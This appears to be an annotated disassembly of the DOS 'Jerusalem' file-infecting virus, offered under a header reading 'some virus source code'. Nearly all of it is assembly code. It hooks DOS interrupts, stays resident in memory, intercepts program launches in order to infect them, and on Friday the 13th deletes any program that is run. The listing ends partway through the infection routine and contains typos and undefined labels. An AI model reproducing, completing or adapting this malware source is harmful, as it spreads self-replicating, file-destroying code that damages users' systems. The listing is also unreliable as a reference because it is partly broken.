isreali.asm

一些病毒源代码

	PAGE	64,132
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS							;
;-----------------------------------------------------------------------;
					;
	ORG	100H			;
					;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS							;
;-----------------------------------------------------------------------;
BEGIN_COM:				;COM FILES START HERE
	JMP	CONTINUE		;
					;
;-----------------------------------------------------------------------;
;									;
;-----------------------------------------------------------------------;
A0103		DB      073H,055H

MS_DOS		DB	'MsDos'		;

		DB	000H,001H,015H,018H

TIME_BOMB	DB	0		;WHEN == 1 THIS FILE GETS DELETED!

		DB	000H
A0010		DB	000H

A0011		DW	100H		;HOST SIZE (BEFORE INFECTION)

OLD_08		DW	0FEA5H,0F000H	;OLD INT 08H VECTOR (CLOCK TIC)

OLD_21		DW	1460H,024EH	;OLD INT 21H VECTOR
OLD_24		DW	0556H,16A5H	;001B

A_FLAG		DW	7E48H		;???

A0021		DB	000H,000H,000H,000H,000H,000H,000H
		DB	000H,000H,000H,000H

A002C		DW	0		;A SEGMENT

		DB	000H,000H
A0030		DB	000H

A0031		DW	0178EH		;OLD ES VALUE

A0033		DW	0080H		;
					;
EXEC_BLOCK	DW	0		;ENV. SEG. ADDRESS	;0035
		DW	80H		;COMMAND LINE ADDRESS
		DW	178EH		;+4
		DW	005CH		;FCB #1 ADDRESS
		DW	178EH		;+8
		DW	006CH		;FCB #2 ADDRESS
		DW	0178EH		;+12
					;
HOST_SP		DW	0710H		;(TAKEN FROM EXE HEADER) 0043
HOST_SS		DW	347AH		;(AT TIME OF INFECTION)
HOST_IP		DW	00C5H		;
HOST_CS		DW	347AH		;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
					;
A004B		DW	0F010H			;
A004D		DB	82H			;
A004E		DB	0			;

EXE_HDR		DB	1CH DUP (?)		;004F

A006B		DB	5 DUP (?)		;LAST 5 BYTES OF HOST

HANDLE		DW	0005H			;0070
HOST_ATT	DW	0020H			;0072
HOST_DATE	DW	0021H			;0074
HOST_TIME	DW	002DH			;0076

BLOCK_SIZE	DW	512			;512 BYTES/BLOCK

A007A		DW	0010H

HOST_SIZE	DW	27C0H,0001H		;007C
HOST_NAME	DW	41D9H,9B28H		;POINTER TO HOST NAME

COMMAND_COM	DB	'COMMAND.COM'

		DB	1
A0090		DB	0,0,0,0,0

;-----------------------------------------------------------------------;
;									;
;-----------------------------------------------------------------------;
CONTINUE:				;
	CLD				;
	MOV	AH,0E0H			;DO A ???...
	INT	21H			;
					;
	CMP	AH,0E0H			;
	JNC	L01B5			;
	CMP	AH,3			;
	JC	L01B5			;
					;
	MOV	AH,0DDH			;
	MOV	DI,offset BEGIN_COM	;DI = BEGINNING OF OUR (VIRUS) CODE
	MOV	SI,0710H		;SI = SIZE OF OUR (VIRUS) CODE
	ADD	SI,DI			;SI = BEGINNING OF HOST CODE
	MOV	CX,CS:[DI+11H]		;CX = (SIZE OF HOST CODE?)
	INT	21H			;
					;
L01B5:	MOV	AX,CS			;TWEEK CODE SEGMENT BY 100H
	ADD	AX,10H			;
	MOV	SS,AX			;SS = TWEEKed CS
	MOV	SP,700H			;SP = END OF OUR CODE (VIRUS)
					;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
					;
	PUSH	AX			;JMP FAR CS+10H:IP-100H
	MOV	AX,offset BEGIN_EXE - offset BEGIN_COM
	PUSH	AX			;
	RETF				;
					;
;---------------------------------------;
	ORG	0C5h			;
;---------------------------------------;
					;
BEGIN_EXE:				;EXE FILES START HERE
	CLD				;
	PUSH	ES			;
					;
	MOV	CS:[A0031],ES		;
	MOV	CS:[EXEC_BLOCK+4],ES	;INIT EXEC_BLOCK SEG VALUES
	MOV	CS:[EXEC_BLOCK+8],ES	;
	MOV	CS:[EXEC_BLOCK+12],ES	;
					;
	MOV	AX,ES			;TWEEK ES SAME AS CS ABOVE
	ADD	AX,10H			;
	ADD	CS:[HOST_CS],AX		;   SAVE NEW ES VALUE
	ADD	CS:[HOST_SS],AX		;
					;
	MOV	AH,0E0H			;
	INT	21H			;
					;
	CMP	AH,0E0H			;
	JNC	L0106			;00F1	7313
					;
	CMP	AH,3			;
	POP	ES			;00F6
	MOV	SS,CS:[HOST_SS]		;
	MOV	SP,CS:[HOST_SP]		;
	JMP	far CS:[HSOT_IP]	;
					;
L0106:	XOR	AX,AX			;0106	33C0
	MOV	ES,AX			;0108	8EC0
	MOV	AX,ES:[03FC]		;010A	26A1FC03
	MOV	CS:[A004B],AX		;010E	2EA34B00
	MOV	AL,ES:[03FE]		;0112	26A0FE03
	MOV	CS:[A004D],AL		;0116	2EA24D00
	MOV	Word ptr ES:[03FC],A5F3	;011A	26C706FC03F3A5
	MOV	Byte ptr ES:[03FE],CB	;0121	26C606FE03CB
	POP	AX			;0127	58
	ADD	AX,10H			;0128	051000
	MOV	ES,AX			;012B	8EC0
	PUSH	CS			;012D	0E
	POP	DS			;012E	1F
	MOV	CX,710H			;SIZE OF VIRUS CODE
	SHR	CX,1			;0132	D1E9
	XOR	SI,SI			;0134	33F6
	MOV	DI,SI			;0136	8BFE
	PUSH	ES			;0138	06
	MOV	AX,0142			;0139	B84201
	PUSH	AX			;013C	50
	JMP	0000:03FC		;013D	EAFC030000
					;
	MOV	AX,CS			;0142	8CC8
	MOV	SS,AX			;0144	8ED0
	MOV	SP,700H			;0146	BC0007
	XOR	AX,AX			;0149	33C0
	MOV	DS,AX			;014B	8ED8
	MOV	AX,CS:[A004B]		;014D	2EA14B00
	MOV	[03FC],AX		;0151	A3FC03
	MOV	AL,CS:[A004D]		;0154	2EA04D00
	MOV	[03FE],AL		;0158	A2FE03
	MOV	BX,SP			;015B	8BDC
	MOV	CL,04			;015D	B104
	SHR	BX,CL			;015F	D3EB
	ADD	BX,+10			;0161	83C310
	MOV	CS:[A0033],BX		;
					;
	MOV	AH,4AH			;
	MOV	ES,CS:[A0031]		;
	INT	21H			;MODIFY ALLOCATED MEMORY BLOCKS
					;
	MOV	AX,3521			;
	INT	21H			;GET VECTOR
	MOV	CS:[OLD_21],BX		;
	MOV	CS:[OLD_21+2],ES	;
					;
	PUSH	CS			;0181	0E
	POP	DS			;0182	1F
	MOV	DX,offset NEW_INT_21	;0183	BA5B02
	MOV	AX,2521			;
	INT	21H			;SAVE VECTOR
					;
	MOV	ES,[A0031]		;018B	8E063100
	MOV	ES,ES:[A002C]		;018F	268E062C00
	XOR	DI,DI			;0194	33FF
	MOV	CX,7FFFH		;0196	B9FF7F
	XOR	AL,AL			;0199	32C0
	REPNE	SCASB			;019C	AE
	CMP	ES:[DI],AL		;019D	263805
	LOOPNZ	019B			;01A0	E0F9
	MOV	DX,DI			;01A2	8BD7
	ADD	DX,+03			;01A4	83C203
	MOV	AX,4B00H		;LOAD AND EXECUTE A PROGRAM
	PUSH	ES			;
	POP	DS			;
	PUSH	CS			;
	POP	ES			;
	MOV	BX,35H			;
					;
	PUSH	DS		;01B1	;
	PUSH	ES			;
	PUSH	AX			;
	PUSH	BX			;
	PUSH	CX			;
	PUSH	DX			;
					;
	MOV	AH,2AH			;
	INT	21H			;GET DATE
					;
	MOV	Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
					;
	CMP	CX,1987			;IF 1987...
	JE	L01F7			;...JUMP
	CMP	AL,5			;IF NOT FRIDAY...
	JNE	L01D8			;...JUMP
	CMP	DL,0DH			;IF DATE IS NOT THE 13th...
	JNE	L01D8			;...JUMP
	INC	Byte ptr CS:[TIME_BOMB]	;TIC THE BOMB COUNT
	JMP	L01F7			;
					;
L01D8:	MOV	AX,3508H		;GET CLOCK TIMER VECTOR
	INT	21H			;GET VECTOR
	MOV	CS:[OLD_08],BX		;
	MOV	CS:[OLD_08],ES		;
					;
	PUSH	CS			;DS=CS
	POP	DS			;
					;
	MOV	Word ptr [A_FLAG],7E90H	;
					;
	MOV	AX,2508H		;SET NEW CLOCK TIC HANDLER
	MOV	DX,offset NEW_08	;
	INT	21H			;SET VECTOR
					;
L01F7:	POP	DX			;
	POP	CX			;
	POP	BX			;
	POP	AX			;
	POP	ES			;
	POP	DS			;
	PUSHF				;
	CALL	far CS:[OLD_21] 	;
	PUSH	DS			;
	POP	ES			;
					;
	MOV	AH,49H			;
	INT	21H			;FREE ALLOCATED MEMORY
					;
	MOV	AH,4DH			;
	INT	21H			;GET RETURN CODE OF A SUBPROCESS
					;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT	;
;---------------------------------------;
	MOV	AH,31H			;
	MOV	DX,0600H	;020F	;
	MOV	CL,04			;
	SHR	DX,CL			;
	ADD	DX,10H			;
	INT	21H			;TERMINATE AND REMAIN RESIDENT
					;
;---------------------------------------;
NEW_24:	XOR	AL,AL		;021B	;CRITICAL ERROR HANDLER
	IRET				;
					;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER					;
;-----------------------------------------------------------------------;
NEW_08:	CMP	Word ptr CS:[A_FLAG],2	;021E
	JNE	N08_10			;IF ... JUMP
					;
	PUSH	AX			;
	PUSH	BX			;
	PUSH	CX			;
	PUSH	DX			;
	PUSH	BP			;
	MOV	AX,0602H		;SCROLL UP TWO LINES
	MOV	BH,87H			;INVERSE VIDEO ATTRIBUTE
	MOV	CX,0505H		;UPPER LEFT CORNER
	MOV	DX,1010H		;LOWER RIGHT CORNER
	INT	10H			;
	POP	BP			;
	POP	DX			;
	POP	CX			;
	POP	BX			;
	POP	AX			;
					;
N08_10:	DEC	Word ptr CS:[A_FLAG]	;ASSURE THAT THIS ONLY HAPPENS ONCE
	JNZ	N08_90			;   BY RESETTING TO 1 IF EQUAL TO ZERO
	MOV	Word ptr CS:[A_FLAG],1	;
					;
	PUSH	AX			;????? IS THIS SOME KIND OF DELAY ?????
	PUSH	CX			;
	PUSH	SI			;
	MOV	CX,4001H		;
	REP	LODSB			;
	POP	SI			;
	POP	CX			;
	POP	AX			;
					;
N08_90:	JMP	far CS:[OLD_08]		;PASS CONTROL TO OLD INT 08 VECTOR
					;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER						;
;-----------------------------------------------------------------------;
NEW_21:	PUSHF			;025B	;
	CMP	AH,0E0H			;IF A E0 REQUEST...
	JNE	N21_10			;
	MOV	AX,300H			;...RETURN AX = 300H
	POPF				;   (OUR PUSHF)
	IRET				;
					;
N21_10:	CMP	AH,0DDH		;0266	;
	JE	N21_30			;IF DDH...JUMP TO _30
	CMP	AH,0DEH			;
	JE	N21_40			;IF DEH...JUMP TO _40
	CMP	AX,4B00H		;IF SPAWN A PROG...
	JNE	N21_20			;
	JMP	N21_50			;...JUMP TO _50
					;
N21_20:	POPF				;   (OUR PUSHF)
	JMP	far CS:[OLD_21]		;ANY OTHER INT 21 GOES TO OLD VECTOR
					;
N21_30:	POP	AX			;REMOVE OUR (PUSHF)
	POP	AX			;?
	MOV	AX,100H			;
	MOV	CS:[000A],AX		;
	POP	AX			;
	MOV	CS:[000C],AX		;
	REP	MOVSB			;
	POPF				;   (OUR PUSHF)
	MOV	AX,CS:[000F]		;
	JMP	far CS:[000A]		;
					;
N21_40:	ADD	SP,+06		;0298	;
	POPF				;   (OUR PUSHF)
	MOV	AX,CS			;
	MOV	SS,AX			;
	MOV	SP,710H			;SIZE OF VIRUS CODE
	PUSH	ES			;
	PUSH	ES			;02A4	06
	XOR	DI,DI			;02A5	33FF
	PUSH	CS			;02A7	0E
	POP	ES			;02A8	07
	MOV	CX,0010			;02A9	B91000
	MOV	SI,BX			;02AC	8BF3
	MOV	DI,0021			;02AE	BF2100
	REP	MOVSB			;02B2	A4
	MOV	AX,DS			;02B3	8CD8
	MOV	ES,AX			;02B5	8EC0
	MUL	Word ptr CS:[A007A]	;02B7	2EF7267A00
	ADD	AX,CS:[002B]		;02BC	2E03062B00
	ADC	DX,+00			;02C1	83D200
	DIV	Word ptr CS:[A007A]	;02C4	2EF7367A00
	MOV	DS,AX			;02C9	8ED8
	MOV	SI,DX			;02CB	8BF2
	MOV	DI,DX			;02CD	8BFA
	MOV	BP,ES			;02CF	8CC5
	MOV	BX,CS:[002F]		;02D1	2E8B1E2F00
	OR	BX,BX			;02D6	0BDB
	JE	02ED			;02D8	7413
	MOV	CX,8000			;02DA	B90080
	REP	MOVSW			;02DE	A5
	ADD	AX,1000			;02DF	050010
	ADD	BP,1000			;02E2	81C50010
	MOV	DS,AX			;02E6	8ED8
	MOV	ES,BP			;02E8	8EC5
	DEC	BX			;02EA	4B
	JNE	02DA			;02EB	75ED
	MOV	CX,CS:[002D]		;02ED	2E8B0E2D00
	REP	MOVSB			;02F3	A4
	POP	AX			;02F4	58
	PUSH	AX			;02F5	50
	ADD	AX,0010			;02F6	051000
	ADD	CS:[0029],AX		;02F9	2E01062900
	ADD	CS:[0025],AX		;02FE	2E01062500
	MOV	AX,CS:[0021]		;0303	2EA12100
	POP	DS			;0307	1F
	POP	ES			;0308	07
	MOV	SS,CS:[0029]		;0309	2E8E162900
	MOV	SP,CS:[0027]		;030E	2E8B262700
	JMP	far CS:[0023]		;0313	2EFF2E2300
					;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE...	;
; THIS IS WHERE IT GETS DELETED !	;
;---------------------------------------;
N21_5A:	XOR	CX,CX			;
	MOV	AX,4301H		;
	INT	21H			;CHANGE FILE MODE (ATT=0)
					;
	MOV	AH,41H			;
	INT	21H			;DELETE A FILE
					;
	MOV	AX,4B00H		;LOAD AND EXECUTE A PROGRAM
	POPF				;   (OUR PUSHF)
	JMP	far CS:[OLD_21]		;
					;
;---------------------------------------;
; START INFECTION			;
;---------------------------------------;
N21_50:	CMP	Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
	JE	N21_5A			;...JUMP
					;
	MOV	Word ptr CS:[HANDLE],-1	;ASSUME NOT OPEN
	MOV	Word ptr CS:[A008F],0	;
	MOV	word ptr CS:[HOST_NAME],DX   ;SAVE POINTER TO FILE NAME
	MOV	word ptr CS:[HOST_NAME+2],DS ;
					;
;INFECT PROCESS SEEMS TO OCCUR HERE	;
	PUSH	AX			;034C	50
	PUSH	BX			;034D	53
	PUSH	CX			;034E	51
	PUSH	DX			;034F	52
	PUSH	SI			;0350	56
	PUSH	DI			;0351	57
	PUSH	DS			;0352	1E
	PUSH	ES			;0353	06
	CLD				;0354	FC
	MOV	DI,DX			;0355	8BFA
	XOR	DL,DL			;0357	32D2
	CMP	Byte ptr [DI+01],3A	;0359	807D013A
	JNE	L0364			;035D	7505